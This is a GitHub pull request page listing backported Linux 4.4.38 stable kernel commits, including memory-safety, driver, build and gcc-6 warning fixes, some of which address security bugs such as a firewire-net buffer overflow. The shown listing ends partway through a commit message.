Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

4.4.38+fslc #4

Merged
merged 3,243 commits into from
Dec 12, 2016
Merged

4.4.38+fslc #4

merged 3,243 commits into from
Dec 12, 2016
This pull request is big! We’re only showing the most recent 250 commits.

Commits on Nov 10, 2016

  1. KVM: x86: fix wbinvd_dirty_mask use-after-free

    commit bd768e1 upstream.
    
    vcpu->arch.wbinvd_dirty_mask may still be used after freeing it,
    corrupting memory. For example, the following call trace may set a bit
    in an already freed cpu mask:
        kvm_arch_vcpu_load
        vcpu_load
        vmx_free_vcpu_nested
        vmx_free_vcpu
        kvm_arch_vcpu_free
    
    Fix this by deferring freeing of wbinvd_dirty_mask.
    
    Signed-off-by: Ido Yariv <[email protected]>
    Reviewed-by: Paolo Bonzini <[email protected]>
    Signed-off-by: Radim Krčmář <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Ido Yariv authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    159766d View commit details
    Browse the repository at this point in the history
  2. KVM: MIPS: Make ERET handle ERL before EXL

    commit ede5f3e upstream.
    
    The ERET instruction to return from exception is used for returning from
    exception level (Status.EXL) and error level (Status.ERL). If both bits
    are set however we should be returning from ERL first, as ERL can
    interrupt EXL, for example when an NMI is taken. KVM however checks EXL
    first.
    
    Fix the order of the checks to match the pseudocode in the instruction
    set manual.
    
    Fixes: e685c68 ("KVM/MIPS32: Privileged instruction/target branch emulation.")
    Signed-off-by: James Hogan <[email protected]>
    Cc: Paolo Bonzini <[email protected]>
    Cc: "Radim Krčmář" <[email protected]>
    Cc: Ralf Baechle <[email protected]>
    Cc: [email protected]
    Cc: [email protected]
    Signed-off-by: Paolo Bonzini <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    James Hogan authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    ab69d3a View commit details
    Browse the repository at this point in the history
  3. ovl: fsync after copy-up

    commit 641089c upstream.
    
    Make sure the copied up file hits the disk before renaming to the final
    destination.  If this is not done then the copy-up may corrupt the data in
    the file in case of a crash.
    
    Signed-off-by: Miklos Szeredi <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Miklos Szeredi authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    e3d312c View commit details
    Browse the repository at this point in the history
  4. parisc: Ensure consistent state when switching to kernel stack at sys…

    …call entry
    
    commit 6ed5183 upstream.
    
    We have one critical section in the syscall entry path in which we switch from
    the userspace stack to kernel stack. In the event of an external interrupt, the
    interrupt code distinguishes between those two states by analyzing the value of
    sr7. If sr7 is zero, it uses the kernel stack. Therefore it's important, that
    the value of sr7 is in sync with the currently enabled stack.
    
    This patch now disables interrupts while executing the critical section.  This
    prevents the interrupt handler to possibly see an inconsistent state which in
    the worst case can lead to crashes.
    
    Interestingly, in the syscall exit path interrupts were already disabled in the
    critical section which switches back to the userspace stack.
    
    Signed-off-by: John David Anglin <[email protected]>
    Signed-off-by: Helge Deller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    danglin44 authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    f2d9107 View commit details
    Browse the repository at this point in the history
  5. virtio_ring: Make interrupt suppression spec compliant

    commit 0ea1e4a upstream.
    
    According to the spec, if the VIRTIO_RING_F_EVENT_IDX feature bit is
    negotiated the driver MUST set flags to 0. Not dirtying the available
    ring in virtqueue_disable_cb also has a minor positive performance
    impact, improving L1 dcache load missed by ~0.5% in vring_bench.
    
    Writes to the used event field (vring_used_event) are still unconditional.
    
    Cc: Michael S. Tsirkin <[email protected]>
    Signed-off-by: Ladi Prosek <[email protected]>
    Signed-off-by: Michael S. Tsirkin <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    ladipro authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    50e1c4d View commit details
    Browse the repository at this point in the history
  6. virtio: console: Unlock vqs while freeing buffers

    commit 3456376 upstream.
    
    Commit c6017e7 ("virtio: console: add locks around buffer removal
    in port unplug path") added locking around the freeing of buffers in the
    vq. However, when free_buf() is called with can_sleep = true and rproc
    is enabled, it calls dma_free_coherent() directly, requiring interrupts
    to be enabled. Currently a WARNING is triggered due to the spin locking
    around free_buf, with a call stack like this:
    
    WARNING: CPU: 3 PID: 121 at ./include/linux/dma-mapping.h:433
    free_buf+0x1a8/0x288
    Call Trace:
    [<8040c538>] show_stack+0x74/0xc0
    [<80757240>] dump_stack+0xd0/0x110
    [<80430d98>] __warn+0xfc/0x130
    [<80430ee0>] warn_slowpath_null+0x2c/0x3c
    [<807e7c6c>] free_buf+0x1a8/0x288
    [<807ea590>] remove_port_data+0x50/0xac
    [<807ea6a0>] unplug_port+0xb4/0x1bc
    [<807ea858>] virtcons_remove+0xb0/0xfc
    [<807b6734>] virtio_dev_remove+0x58/0xc0
    [<807f918c>] __device_release_driver+0xac/0x134
    [<807f924c>] device_release_driver+0x38/0x50
    [<807f7edc>] bus_remove_device+0xfc/0x130
    [<807f4b74>] device_del+0x17c/0x21c
    [<807f4c38>] device_unregister+0x24/0x38
    [<807b6b50>] unregister_virtio_device+0x28/0x44
    
    Fix this by restructuring the loops to allow the locks to only be taken
    where it is necessary to protect the vqs, and release it while the
    buffer is being freed.
    
    Fixes: c6017e7 ("virtio: console: add locks around buffer removal in port unplug path")
    Signed-off-by: Matt Redfearn <[email protected]>
    Signed-off-by: Michael S. Tsirkin <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    mpredfearn authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    88586a4 View commit details
    Browse the repository at this point in the history
  7. dm mirror: fix read error on recovery after default leg failure

    commit dcb2ff5 upstream.
    
    If a default leg has failed, any read will cause a new operational
    default leg to be selected and the read is resubmitted.  But until now
    the read will return failure even though it was successful due to
    resubmission.  The reason for this is bio->bi_error was not being
    cleared before resubmitting the bio.
    
    Fix by clearing bio->bi_error before resubmission.
    
    Fixes: 4246a0b ("block: add a bi_error field to struct bio")
    Signed-off-by: Heinz Mauelshagen <[email protected]>
    Signed-off-by: Mike Snitzer <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    mauelsha authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    daac9e1 View commit details
    Browse the repository at this point in the history
  8. Input: i8042 - add XMG C504 to keyboard reset table

    commit da25311 upstream.
    
    The Schenker XMG C504 is a rebranded Gigabyte P35 v2 laptop.
    Therefore it also needs a keyboard reset to detect the Elantech touchpad.
    Otherwise the touchpad appears to be dead.
    
    With this patch the touchpad is detected:
    
    $ dmesg | grep -E "(i8042|Elantech|elantech)"
    
    [    2.675399] i8042: PNP: PS/2 Controller [PNP0303:PS2K,PNP0f13:PS2M] at 0x60,0x64 irq 1,12
    [    2.680372] i8042: Attempting to reset device connected to KBD port
    [    2.789037] serio: i8042 KBD port at 0x60,0x64 irq 1
    [    2.791586] serio: i8042 AUX port at 0x60,0x64 irq 12
    [    2.813840] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input4
    [    3.811431] psmouse serio1: elantech: assuming hardware version 4 (with firmware version 0x361f0e)
    [    3.825424] psmouse serio1: elantech: Synaptics capabilities query result 0x00, 0x15, 0x0f.
    [    3.839424] psmouse serio1: elantech: Elan sample query result 03, 58, 74
    [    3.911349] input: ETPS/2 Elantech Touchpad as /devices/platform/i8042/serio1/input/input6
    
    Signed-off-by: Patrick Scheuring <[email protected]>
    Signed-off-by: Dmitry Torokhov <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    PatSche authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    304cc8b View commit details
    Browse the repository at this point in the history
  9. firewire: net: guard against rx buffer overflows

    commit 667121a upstream.
    
    The IP-over-1394 driver firewire-net lacked input validation when
    handling incoming fragmented datagrams.  A maliciously formed fragment
    with a respectively large datagram_offset would cause a memcpy past the
    datagram buffer.
    
    So, drop any packets carrying a fragment with offset + length larger
    than datagram_size.
    
    In addition, ensure that
      - GASP header, unfragmented encapsulation header, or fragment
        encapsulation header actually exists before we access it,
      - the encapsulated datagram or fragment is of nonzero size.
    
    Reported-by: Eyal Itkin <[email protected]>
    Reviewed-by: Eyal Itkin <[email protected]>
    Fixes: CVE 2016-8633
    Signed-off-by: Stefan Richter <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Stefan Richter authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    46e1426 View commit details
    Browse the repository at this point in the history
  10. firewire: net: fix fragmented datagram_size off-by-one

    commit e9300a4 upstream.
    
    RFC 2734 defines the datagram_size field in fragment encapsulation
    headers thus:
    
        datagram_size:  The encoded size of the entire IP datagram.  The
        value of datagram_size [...] SHALL be one less than the value of
        Total Length in the datagram's IP header (see STD 5, RFC 791).
    
    Accordingly, the eth1394 driver of Linux 2.6.36 and older set and got
    this field with a -/+1 offset:
    
        ether1394_tx() /* transmit */
            ether1394_encapsulate_prep()
                hdr->ff.dg_size = dg_size - 1;
    
        ether1394_data_handler() /* receive */
            if (hdr->common.lf == ETH1394_HDR_LF_FF)
                dg_size = hdr->ff.dg_size + 1;
            else
                dg_size = hdr->sf.dg_size + 1;
    
    Likewise, I observe OS X 10.4 and Windows XP Pro SP3 to transmit 1500
    byte sized datagrams in fragments with datagram_size=1499 if link
    fragmentation is required.
    
    Only firewire-net sets and gets datagram_size without this offset.  The
    result is lacking interoperability of firewire-net with OS X, Windows
    XP, and presumably Linux' eth1394.  (I did not test with the latter.)
    For example, FTP data transfers to a Linux firewire-net box with max_rec
    smaller than the 1500 bytes MTU
      - from OS X fail entirely,
      - from Win XP start out with a bunch of fragmented datagrams which
        time out, then continue with unfragmented datagrams because Win XP
        temporarily reduces the MTU to 576 bytes.
    
    So let's fix firewire-net's datagram_size accessors.
    
    Note that firewire-net thereby loses interoperability with unpatched
    firewire-net, but only if link fragmentation is employed.  (This happens
    with large broadcast datagrams, and with large datagrams on several
    FireWire CardBus cards with smaller max_rec than equivalent PCI cards,
    and it can be worked around by setting a small enough MTU.)
    
    Signed-off-by: Stefan Richter <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Stefan Richter authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    1d22568 View commit details
    Browse the repository at this point in the history
  11. mac80211: discard multicast and 4-addr A-MSDUs

    commit ea72093 upstream.
    
    In mac80211, multicast A-MSDUs are accepted in many cases that
    they shouldn't be accepted in:
     * drop A-MSDUs with a multicast A1 (RA), as required by the
       spec in 9.11 (802.11-2012 version)
     * drop A-MSDUs with a 4-addr header, since the fourth address
       can't actually be useful for them; unless 4-address frame
       format is actually requested, even though the fourth address
       is still not useful in this case, but ignored
    
    Accepting the first case, in particular, is very problematic
    since it allows anyone else with possession of a GTK to send
    unicast frames encapsulated in a multicast A-MSDU, even when
    the AP has client isolation enabled.
    
    Signed-off-by: Johannes Berg <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    jmberg-intel authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    d9237e7 View commit details
    Browse the repository at this point in the history
  12. scsi: megaraid_sas: Fix data integrity failure for JBOD (passthrough)…

    … devices
    
    commit 1e793f6 upstream.
    
    Commit 02b01e0 ("megaraid_sas: return sync cache call with
    success") modified the driver to successfully complete SYNCHRONIZE_CACHE
    commands without passing them to the controller. Disk drive caches are
    only explicitly managed by controller firmware when operating in RAID
    mode. So this commit effectively disabled writeback cache flushing for
    any drives used in JBOD mode, leading to data integrity failures.
    
    [mkp: clarified patch description]
    
    Fixes: 02b01e0
    Signed-off-by: Kashyap Desai <[email protected]>
    Signed-off-by: Sumit Saxena <[email protected]>
    Reviewed-by: Tomas Henzl <[email protected]>
    Reviewed-by: Hannes Reinecke <[email protected]>
    Reviewed-by: Ewan D. Milne <[email protected]>
    Signed-off-by: Martin K. Petersen <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    kadesai16 authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    9075faf View commit details
    Browse the repository at this point in the history
  13. scsi: scsi_debug: Fix memory leak if LBP enabled and module is unloaded

    commit 4d2b496 upstream.
    
    map_storep was not being vfree()'d in the module_exit call.
    
    Signed-off-by: Ewan D. Milne <[email protected]>
    Reviewed-by: Laurence Oberman <[email protected]>
    Signed-off-by: Martin K. Petersen <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Ewan D. Milne authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    69ee0ed View commit details
    Browse the repository at this point in the history
  14. scsi: arcmsr: Send SYNCHRONIZE_CACHE command to firmware

    commit 2bf7dc8 upstream.
    
    The arcmsr driver failed to pass SYNCHRONIZE CACHE to controller
    firmware. Depending on how drive caches are handled internally by
    controller firmware this could potentially lead to data integrity
    problems.
    
    Ensure that cache flushes are passed to the controller.
    
    [mkp: applied by hand and removed unused vars]
    
    Signed-off-by: Ching Huang <[email protected]>
    Reported-by: Tomas Henzl <[email protected]>
    Signed-off-by: Martin K. Petersen <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Ching Huang authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    c77a234 View commit details
    Browse the repository at this point in the history
  15. mmc: dw_mmc-pltfm: fix the potential NULL pointer dereference

    commit 45c7a49 upstream.
    
    platform_get_resource can be returned the NULL pointer.
    Then regs->start should be referred to NULL Pointer.
    devm_ioremap_resource() checks whether res is NULL or not.
    
    Signed-off-by: Jaehoon Chung <[email protected]>
    Reviewed-by: Shawn Lin <[email protected]>
    Signed-off-by: Ulf Hansson <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Jaehoon Chung authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    a1ffa7c View commit details
    Browse the repository at this point in the history
  16. Revert "drm/radeon: fix DP link training issue with second 4K monitor"

    commit 9dc7996 upstream.
    
    This reverts commit 1a73834.
    
    It caused at least some Kaveri laptops to incorrectly report DisplayPort
    connectors as connected.
    
    Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97857
    Reviewed-by: Alex Deucher <[email protected]>
    Signed-off-by: Michel Dänzer <[email protected]>
    Signed-off-by: Alex Deucher <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Michel Dänzer authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    4b32256 View commit details
    Browse the repository at this point in the history
  17. drm/radeon/si_dpm: Limit clocks on HD86xx part

    commit fb9a5b0 upstream.
    
    Limit clocks on a specific HD86xx part to avoid
    crashes (while awaiting an appropriate PP fix).
    
    Signed-off-by: Tom St Denis <[email protected]>
    Reviewed-by: Alex Deucher <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Tom St Denis authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    231be2b View commit details
    Browse the repository at this point in the history
  18. drm/radeon/si_dpm: workaround for SI kickers

    commit 7dc86ef upstream.
    
    Consolidate existing quirks. Fixes stability issues
    on some kickers.
    
    Signed-off-by: Alex Deucher <[email protected]>
    Signed-off-by: Alex Deucher <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    alexdeucher authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    1734d4e View commit details
    Browse the repository at this point in the history
  19. drm/radeon: drop register readback in cayman_cp_int_cntl_setup

    commit 537b4b4 upstream.
    
    The read is taking a considerable amount of time (about 50us on this
    machine). The register does not ever hold anything other than the ring
    ID that is updated in this exact function, so there is no need for
    the read modify write cycle.
    
    This chops off a big chunk of the time spent in hardirq disabled
    context, as this function is called multiple times in the interrupt
    handler. With this change applied radeon won't show up in the list
    of the worst IRQ latency offenders anymore, where it was a regular
    before.
    
    Reviewed-by: Christian König <[email protected]>
    Signed-off-by: Lucas Stach <[email protected]>
    Signed-off-by: Alex Deucher <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    lynxeye-dev authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    1262212 View commit details
    Browse the repository at this point in the history
  20. drm/dp/mst: Check peer device type before attempting EDID read

    commit 4da5caa upstream.
    
    Only certain types of pdts have the DDC bus registered, so check for
    that before we attempt the EDID read. Othwewise we risk playing around
    with an i2c adapter that doesn't actually exist.
    
    Cc: Carlos Santa <[email protected]>
    Cc: Kirill A. Shutemov <[email protected]>
    Tested-by: Carlos Santa <[email protected]>
    Tested-by: Kirill A. Shutemov <[email protected]>
    Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97666
    Signed-off-by: Ville Syrjälä <[email protected]>
    Signed-off-by: Daniel Vetter <[email protected]>
    Link: http://patchwork.freedesktop.org/patch/msgid/[email protected]
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    vsyrjala authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    9702108 View commit details
    Browse the repository at this point in the history
  21. perf build: Fix traceevent plugins build race

    commit 67befc6 upstream.
    
    Ingo reported following build failure:
    
      $ make clean install
      ...
        CC       plugin_kmem.o
      fixdep: error opening depfile: ./.plugin_hrtimer.o.d: No such file or directory
      /home/mingo/tip/tools/build/Makefile.build:77: recipe for target
      'plugin_hrtimer.o' failed
      make[3]: *** [plugin_hrtimer.o] Error 2
      Makefile:189: recipe for target 'plugin_hrtimer-in.o' failed
      make[2]: *** [plugin_hrtimer-in.o] Error 2
      Makefile.perf:414: recipe for target 'libtraceevent_plugins' failed
      make[1]: *** [libtraceevent_plugins] Error 2
      make[1]: *** Waiting for unfinished jobs....
    
    Currently we have the install-traceevent-plugins target being dependent
    on $(LIBTRACEEVENT), which will actualy not build any plugin. So the
    install-traceevent-plugins target itself will try to build plugins,
    but..
    
    Plugins built is also triggered by perf build itself via
    libtraceevent_plugins target.
    
    This might cause a race having one make thread removing temp files from
    another and result in above error. Fixing this by having proper plugins
    build dependency before installing plugins.
    
    Reported-and-Tested-by:: Ingo Molnar <[email protected]>
    Signed-off-by: Jiri Olsa <[email protected]>
    Cc: David Ahern <[email protected]>
    Cc: Namhyung Kim <[email protected]>
    Cc: Peter Zijlstra <[email protected]>
    Link: http://lkml.kernel.org/r/[email protected]
    Signed-off-by: Arnaldo Carvalho de Melo <[email protected]>
    Cc: Thomas Backlund <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    olsajiri authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    95f2bdb View commit details
    Browse the repository at this point in the history
  22. x86/xen: fix upper bound of pmd loop in xen_cleanhighmap()

    commit 1cf3874 upstream.
    
    xen_cleanhighmap() is operating on level2_kernel_pgt only. The upper
    bound of the loop setting non-kernel-image entries to zero should not
    exceed the size of level2_kernel_pgt.
    
    Reported-by: Linus Torvalds <[email protected]>
    Signed-off-by: Juergen Gross <[email protected]>
    Signed-off-by: David Vrabel <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    jgross1 authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    eeae15f View commit details
    Browse the repository at this point in the history
  23. powerpc/ptrace: Fix out of bounds array access warning

    commit 1e407ee upstream.
    
    gcc-6 correctly warns about a out of bounds access
    
    arch/powerpc/kernel/ptrace.c:407:24: warning: index 32 denotes an offset greater than size of 'u64[32][1] {aka long long unsigned int[32][1]}' [-Warray-bounds]
            offsetof(struct thread_fp_state, fpr[32][0]));
                            ^
    
    check the end of array instead of beginning of next element to fix this
    
    Signed-off-by: Khem Raj <[email protected]>
    Cc: Kees Cook <[email protected]>
    Cc: Michael Ellerman <[email protected]>
    Cc: Segher Boessenkool <[email protected]>
    Tested-by: Aaro Koskinen <[email protected]>
    Acked-by: Olof Johansson <[email protected]>
    Signed-off-by: Michael Ellerman <[email protected]>
    Cc: Arnd Bergmann <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    kraj authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    f0b1381 View commit details
    Browse the repository at this point in the history
  24. ARM: 8584/1: floppy: avoid gcc-6 warning

    commit dd665be upstream.
    
    gcc-6.0 warns about comparisons between two identical expressions,
    which is what we get in the floppy driver when writing to the FD_DOR
    register:
    
    drivers/block/floppy.c: In function 'set_dor':
    drivers/block/floppy.c:810:44: error: self-comparison always evaluates to true [-Werror=tautological-compare]
       fd_outb(newdor, FD_DOR);
    
    It would be nice to use a static inline function instead of the
    macro, to avoid the warning, but we cannot do that because the
    FD_DOR definition is incomplete at this point.
    
    Adding a cast to (u32) is a harmless way to shut up the warning,
    just not very nice.
    
    Signed-off-by: Arnd Bergmann <[email protected]>
    Signed-off-by: Russell King <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    arndb authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    58fca2f View commit details
    Browse the repository at this point in the history
  25. mm/cma: silence warnings due to max() usage

    commit badbda5 upstream.
    
    pageblock_order can be (at least) an unsigned int or an unsigned long
    depending on the kernel config and architecture, so use max_t(unsigned
    long, ...) when comparing it.
    
    fixes these warnings:
    
    In file included from include/asm-generic/bug.h:13:0,
                     from arch/powerpc/include/asm/bug.h:127,
                     from include/linux/bug.h:4,
                     from include/linux/mmdebug.h:4,
                     from include/linux/mm.h:8,
                     from include/linux/memblock.h:18,
                     from mm/cma.c:28:
    mm/cma.c: In function 'cma_init_reserved_mem':
    include/linux/kernel.h:748:17: warning: comparison of distinct pointer types lacks a cast
      (void) (&_max1 == &_max2);                   ^
    mm/cma.c:186:27: note: in expansion of macro 'max'
      alignment = PAGE_SIZE << max(MAX_ORDER - 1, pageblock_order);
                               ^
    mm/cma.c: In function 'cma_declare_contiguous':
    include/linux/kernel.h:748:17: warning: comparison of distinct pointer types lacks a cast
      (void) (&_max1 == &_max2);                   ^
    include/linux/kernel.h:747:9: note: in definition of macro 'max'
      typeof(y) _max2 = (y);            ^
    mm/cma.c:270:29: note: in expansion of macro 'max'
       (phys_addr_t)PAGE_SIZE << max(MAX_ORDER - 1, pageblock_order));
                                 ^
    include/linux/kernel.h:748:17: warning: comparison of distinct pointer types lacks a cast
      (void) (&_max1 == &_max2);                   ^
    include/linux/kernel.h:747:21: note: in definition of macro 'max'
      typeof(y) _max2 = (y);                        ^
    mm/cma.c:270:29: note: in expansion of macro 'max'
       (phys_addr_t)PAGE_SIZE << max(MAX_ORDER - 1, pageblock_order));
                                 ^
    
    [[email protected]: coding-style fixes]
    Link: http://lkml.kernel.org/r/[email protected]
    Signed-off-by: Stephen Rothwell <[email protected]>
    Signed-off-by: Andrew Morton <[email protected]>
    Signed-off-by: Linus Torvalds <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    sfrothwell authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    26a5f05 View commit details
    Browse the repository at this point in the history
  26. drm/exynos: fix error handling in exynos_drm_subdrv_open

    commit 55c4b90 upstream.
    
    gcc-6 warns about a pointless loop in exynos_drm_subdrv_open:
    
    drivers/gpu/drm/exynos/exynos_drm_core.c: In function 'exynos_drm_subdrv_open':
    drivers/gpu/drm/exynos/exynos_drm_core.c:104:199: error: self-comparison always evaluates to false [-Werror=tautological-compare]
      list_for_each_entry_reverse(subdrv, &subdrv->list, list) {
    
    Here, the list_for_each_entry_reverse immediately terminates because
    the subdrv pointer is compared to itself as the loop end condition.
    
    If we were to take the current subdrv pointer as the start of the
    list (as we would do if list_for_each_entry_reverse() was not a macro),
    we would iterate backwards over the &exynos_drm_subdrv_list anchor,
    which would be even worse.
    
    Instead, we need to use list_for_each_entry_continue_reverse()
    to go back over each subdrv that was successfully opened until
    the first entry.
    
    Signed-off-by: Arnd Bergmann <[email protected]>
    Signed-off-by: Inki Dae <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    arndb authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    8a618bc View commit details
    Browse the repository at this point in the history
  27. cgroup: avoid false positive gcc-6 warning

    commit cfe02a8 upstream.
    
    When all subsystems are disabled, gcc notices that cgroup_subsys_enabled_key
    is a zero-length array and that any access to it must be out of bounds:
    
    In file included from ../include/linux/cgroup.h:19:0,
                     from ../kernel/cgroup.c:31:
    ../kernel/cgroup.c: In function 'cgroup_add_cftypes':
    ../kernel/cgroup.c:261:53: error: array subscript is above array bounds [-Werror=array-bounds]
      return static_key_enabled(cgroup_subsys_enabled_key[ssid]);
                                ~~~~~~~~~~~~~~~~~~~~~~~~~^~~~~~
    ../include/linux/jump_label.h:271:40: note: in definition of macro 'static_key_enabled'
      static_key_count((struct static_key *)x) > 0;    \
                                            ^
    
    We should never call the function in this particular case, so this is
    not a bug. In order to silence the warning, this adds an explicit check
    for the CGROUP_SUBSYS_COUNT==0 case.
    
    Signed-off-by: Arnd Bergmann <[email protected]>
    Signed-off-by: Tejun Heo <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    arndb authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    603c780 View commit details
    Browse the repository at this point in the history
  28. smc91x: avoid self-comparison warning

    commit e3ebd89 upstream.
    
    The smc91x driver defines a macro that compares its argument to
    itself, apparently to get a true result while using its argument
    to avoid a warning about unused local variables.
    
    Unfortunately, this triggers a warning with gcc-6, as the comparison
    is obviously useless:
    
    drivers/net/ethernet/smsc/smc91x.c: In function 'smc_hardware_send_pkt':
    drivers/net/ethernet/smsc/smc91x.c:563:14: error: self-comparison always evaluates to true [-Werror=tautological-compare]
      if (!smc_special_trylock(&lp->lock, flags)) {
    
    This replaces the macro with another one that behaves similarly,
    with a cast to (void) to ensure the argument is used, and using
    a literal 'true' as its value.
    
    Signed-off-by: Arnd Bergmann <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    arndb authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    c5b2cd9 View commit details
    Browse the repository at this point in the history
  29. Disable "frame-address" warning

    commit 124a3d8 upstream.
    
    Newer versions of gcc warn about the use of __builtin_return_address()
    with a non-zero argument when "-Wall" is specified:
    
      kernel/trace/trace_irqsoff.c: In function ‘stop_critical_timings’:
      kernel/trace/trace_irqsoff.c:433:86: warning: calling ‘__builtin_return_address’ with a nonzero argument is unsafe [-Wframe-address]
         stop_critical_timing(CALLER_ADDR0, CALLER_ADDR1);
      [ .. repeats a few times for other similar cases .. ]
    
    It is true that a non-zero argument is somewhat dangerous, and we do not
    actually have very many uses of that in the kernel - but the ftrace code
    does use it, and as Stephen Rostedt says:
    
     "We are well aware of the danger of using __builtin_return_address() of
      > 0.  In fact that's part of the reason for having the "thunk" code in
      x86 (See arch/x86/entry/thunk_{64,32}.S).  [..] it adds extra frames
      when tracking irqs off sections, to prevent __builtin_return_address()
      from accessing bad areas.  In fact the thunk_32.S states: 'Trampoline to
      trace irqs off.  (otherwise CALLER_ADDR1 might crash)'."
    
    For now, __builtin_return_address() with a non-zero argument is the best
    we can do, and the warning is not helpful and can end up making people
    miss other warnings for real problems.
    
    So disable the frame-address warning on compilers that need it.
    
    Acked-by: Steven Rostedt <[email protected]>
    Signed-off-by: Linus Torvalds <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    torvalds authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    1d79b67 View commit details
    Browse the repository at this point in the history
  30. UBI: fastmap: scrub PEB when bitflips are detected in a free PEB EC h…

    …eader
    
    commit ecbfa8e upstream.
    
    scan_pool() does not mark the PEB for scrubing when bitflips are
    detected in the EC header of a free PEB (VID header region left to
    0xff).
    Make sure we scrub the PEB in this case.
    
    Signed-off-by: Boris Brezillon <[email protected]>
    Fixes: dbb7d2a ("UBI: Add fastmap core")
    Signed-off-by: Richard Weinberger <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Boris Brezillon authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    353bbac View commit details
    Browse the repository at this point in the history
  31. pwm: Unexport children before chip removal

    commit 0733424 upstream.
    
    Exported pwm channels aren't removed before the pwmchip and are
    leaked. This results in invalid sysfs files. This fix removes
    all exported pwm channels before chip removal.
    
    Signed-off-by: David Hsu <[email protected]>
    Fixes: 76abbdd ("pwm: Add sysfs interface")
    Signed-off-by: Thierry Reding <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    David Hsu authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    4b06152 View commit details
    Browse the repository at this point in the history
  32. usb: dwc3: Fix size used in dma_free_coherent()

    commit 51fbc7c upstream.
    
    In commit 2abd9d5 ("usb: dwc3: ep0: Add chained TRB support"), the
    size of the memory allocated with 'dma_alloc_coherent()' has been modified
    but the corresponding calls to 'dma_free_coherent()' have not been updated
    accordingly.
    
    This has been spotted with coccinelle, using the following script:
    ////////////////////
    @r@
    expression x0, x1, y0, y1, z0, z1, t0, t1, ret;
    @@
    
    *   ret = dma_alloc_coherent(x0, y0, z0, t0);
        ...
    *   dma_free_coherent(x1, y1, ret, t1);
    
    @script:python@
    y0 << r.y0;
    y1 << r.y1;
    
    @@
    if y1.find(y0) == -1:
     print "WARNING: sizes look different:  '%s'   vs   '%s'" % (y0, y1)
    ////////////////////
    
